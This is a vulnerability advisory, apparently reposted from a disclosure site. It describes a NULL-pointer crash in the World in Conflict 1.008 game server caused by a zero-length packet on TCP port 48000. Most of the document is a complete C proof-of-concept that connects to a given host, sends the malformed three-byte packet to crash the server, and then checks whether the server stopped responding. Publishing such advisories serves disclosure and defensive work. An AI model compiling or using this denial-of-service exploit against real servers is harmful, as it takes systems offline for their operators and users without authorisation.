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| World in Conflict is "a RTS game developed by Massive Entertainment and released in the 2007". The WIC server can be easily crashed through an access violation caused by a NULL pointer resulted by the receiving of a data block of zero bytes to the main TCP game port (default 48000). |
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Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/wicboom-adv.txt
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Vulnerable Systems:
* World in Conflict version 1.008
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/wicboom.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 48000
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u16 port = PORT;
u8 buff[3];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"World in Conflict <= 1.008 NULL pointer "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf("- send malformed packet\n");
buff[0] = 0; // 16 bit length
buff[1] = 0;
buff[2] = 0;
send(sd, buff, 3, 0);
if(!timeout(sd, 2)) recv(sd, buff, sizeof(buff), 0);
close(sd);
printf("- wait some seconds\n");
sleep(ONESEC);
printf("- check server\n");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
buff[0] = 1; // 16 bit length
buff[1] = 0x80;
buff[2] = 0x78; // zlib, not implemented here since not needed, this is only a check
if((connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) || (send(sd, buff, 3, 0) != 3) || (timeout(sd, 2) < 0)) {
printf("\n server IS vulnerable!!!\n");
} else {
printf("\n server doesn't seem vulnerable\n");
}
close(sd);
return(0);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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